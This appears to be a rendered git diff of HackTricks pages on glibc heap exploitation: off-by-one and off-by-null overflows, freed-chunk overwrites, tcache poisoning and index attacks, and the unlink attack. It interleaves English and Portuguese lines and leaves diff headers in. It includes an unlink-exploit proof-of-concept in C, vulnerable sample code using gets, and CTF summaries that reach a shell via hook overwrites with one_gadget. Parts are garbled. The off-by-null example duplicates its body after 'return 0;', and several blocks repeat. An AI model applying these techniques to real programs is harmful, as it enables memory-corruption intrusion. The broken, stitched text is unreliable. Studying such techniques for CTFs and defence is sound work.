Ter acesso a um overflow de 1B permite que um atacante modifique o campo `size` do próximo chunk. Isso permite manipular quais chunks estão realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos.
There are 2 types of off by one vulnerabilities:
Existem 2 tipos de vulnerabilidades off by one:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Byte arbitrário: Este tipo permite sobrescrever esse byte com qualquer valor
- Byte nulo (off-by-null): Este tipo permite sobrescrever esse byte apenas com 0x00
- Um exemplo comum dessa vulnerabilidade pode ser visto no seguinte código onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk.
- Isso pode ser explorado com a [House of Einherjar](house-of-einherjar.md).
- Se usar Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md).
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Entre outras verificações, agora sempre que um chunk é liberado, o tamanho anterior é comparado com o tamanho configurado no chunk da metadata, tornando esse ataque bastante complexo a partir da versão 2.28.
### Code example:
### Exemplo de código:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Este ataque não está mais funcionando devido ao uso de Tcaches.
- Além disso, se você tentar abusar dele usando chunks maiores (para que os tcaches não estejam envolvidos), você receberá o erro: `malloc(): invalid next size (unsorted)`
### Goal
### Objetivo
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Fazer um chunk ser contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido.
### Requirements
### Requisitos
- Off by one overflow to modify the size metadata information
- Off by one overflow para modificar as informações de tamanho da metadata.
### General off-by-one attack
### Ataque geral off-by-one
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Alocar três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o top-chunk.
- Liberar `C` (inserido na lista de chunks livres do Tcache de 0x20).
- Usar o chunk `A` para transbordar sobre `B`. Abusar do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41.
- Agora temos `B` contendo o chunk livre `C`.
- Liberar `B` e alocar um chunk de 0x40 (ele será colocado aqui novamente).
- Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento do Tcache).
### Off-by-null attack
### Ataque off-by-null
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de off by one e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, faria com que o chunk do meio indicasse que é 0x10 menor do que realmente é).
- Então, 2 chunks menores são alocados no chunk liberado do meio (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria.
- Em seguida, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (b1 agora), ambos são consolidados em um chunk. No entanto, b2 ainda está entre b1 e c.
- Finalmente, um novo malloc é realizado reclamando esta área de memória que na verdade vai conter b2, permitindo que o proprietário do novo malloc controle o conteúdo de b2.
This image explains perfectly the attack:
Esta imagem explica perfeitamente o ataque:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Outros Exemplos & Referências
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- Off-by-one devido ao `strlen` considerar o campo `size` do próximo chunk.
- Tcache está sendo usado, então um ataque geral off-by-one funciona para obter uma primitiva de escrita arbitrária com envenenamento do Tcache.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- É possível abusar de um off by one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo.
- A escrita arbitrária é obtida abusando da escrita off by one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Então, é possível seguir o ponteiro desta estrutura para obter escrita arbitrária.
- O endereço da libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo em relação à libc.
- Finalmente, a escrita arbitrária é abusada para escrever no endereço de \_\_free_hook com um one gadget.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Existe uma vulnerabilidade NULL off by one na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo.
- No writeup, 5 chunks iniciais são criados:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) para evitar a consolidação com o top chunk
- Então, os chunks 1, 5 e 3 são liberados, então:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Então, abusando do chunk3 (0x1f8), o null off-by-one é abusado escrevendo o prev_size para `0x4e0`.
- Note como os tamanhos dos chunks inicialmente alocados 1, 2, 5 e 3 mais os cabeçalhos de 4 desses chunks somam `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Então, o chunk 4 é liberado, gerando um chunk que consome todos os chunks até o início:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Então, `0x200` bytes são alocados preenchendo o chunk original 1.
- E mais 0x200 bytes são alocados e o chunk2 é destruído e, portanto, não há vazamento e isso não funciona? Talvez isso não devesse ser feito.
- Então, aloca outro chunk com 0x58 "a"s (sobrescrevendo o chunk2 e alcançando o chunk5) e modifica o `fd` do chunk de fast bin do chunk5 apontando para `__malloc_hook`.
- Então, um chunk de 0x68 é alocado para que o fake fast bin chunk em `__malloc_hook` seja o próximo fast bin chunk.
- Finalmente, um novo fast bin chunk de 0x68 é alocado e `__malloc_hook` é sobrescrito com um endereço de `one_gadget`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Sobrescrevendo um chunk liberado
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Várias das técnicas propostas de exploração de heap precisam ser capazes de sobrescrever ponteiros dentro de chunks liberados. O objetivo desta página é resumir as potenciais vulnerabilidades que poderiam conceder esse acesso:
### Simple Use After Free
### Uso Simples Após Liberação
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
Se for possível para o atacante **escrever informações em um chunk livre**, ele poderia abusar disso para sobrescrever os ponteiros necessários.
### Double Free
### Liberação Dupla
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
Se o atacante puder **`free` duas vezes o mesmo chunk** (liberando outros chunks entre potencialmente) e fazê-lo estar **2 vezes no mesmo bin**, seria possível para o usuário **alocar o chunk mais tarde**, **escrever os ponteiros necessários** e então **alocá-lo novamente**, acionando as ações do chunk sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...)
### Heap Overflow
### Overflow de Heap
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
Pode ser possível **transbordar um chunk alocado tendo ao lado um chunk liberado** e modificar alguns cabeçalhos/ponteiros dele.
### Off-by-one overflow
### Overflow de Um a Menos
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
Neste caso, seria possível **modificar o tamanho** do chunk seguinte na memória. Um atacante poderia abusar disso para **fazer um chunk alocado ter um tamanho maior**, então **`free`**-lo, fazendo com que o chunk fosse **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **chunk com um tamanho que é maior** do que realmente é, **concedendo assim uma situação de chunks sobrepostos**, que é explorável da mesma forma que um **overflow de heap** (ver seção anterior).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Para mais informações sobre o que é um Tcache bin, consulte esta página:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
Primeiramente, note que o Tcache foi introduzido na versão 2.26 do Glibc.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
O **ataque Tcache** (também conhecido como **envenenamento de Tcache**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) é muito semelhante ao ataque de fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para que depois seja possível **alocar aquele endereço específico e potencialmente sobrescrever ponteiros**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário o suficiente para que o endereço escrito esteja realmente alinhado).
### Tcache indexes attack
### Ataque de índices Tcache
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Geralmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk cabeça de cada índice tcache**. Se por algum motivo for possível modificar essa informação, seria possível **fazer o chunk cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso.
## Examples
## Exemplos
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Vazamento de informações da Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** sobrescrevendo apenas os primeiros 8B, deixando o **segundo endereço da libc do chunk intacto para que possamos lê-lo**.
- **Ataque Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Então, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Em seguida, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, o que nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\
Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Vazamento de informações da Libc**: Há um uso após a liberação e uma dupla liberação. Neste relato, o autor vazou um endereço da libc lendo o endereço de um chunk colocado em um bin pequeno (como vazá-lo do bin não ordenado, mas do pequeno).
- **Ataque Tcache**: Um Tcache é realizado via uma **dupla liberação**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu deslocamento.
- **Ataque de índices Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100.
- Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` desse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
- Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices tcache.\
Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, o que permite escrever um one gadget para obter uma shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Mesma vulnerabilidade que antes com uma restrição extra.
- **Ataque de índices Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- **Write After Free** para adicionar um número ao ponteiro `fd`.
- Muito de **heap feng-shui** é necessário neste desafio. O relato mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil.
- **Vazamento de Glibc** através de `stdout` (FSOP).
- **Envenenamento de Tcache** para obter uma primitiva de escrita arbitrária.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas **verificações foram adicionadas**, tornando a nova versão do ataque mais interessante, mais complexa e **inútil**.
### Code Example:
### Exemplo de Código:
<details>
<summary>Code</summary>
<summary>Código</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- O ataque não funciona se tcaches forem usados (após 2.26)
### Goal
### Objetivo
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
- Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\
Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).
### Requirements
### Requisitos
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
- Vazamento da pilha para definir os ponteiros do chunk falso.
### Attack
### Ataque
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- Existem alguns chunks (chunk1 e chunk2)
- O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
- No chunk1, o atacante cria a estrutura de um chunk falso:
- Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
- e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
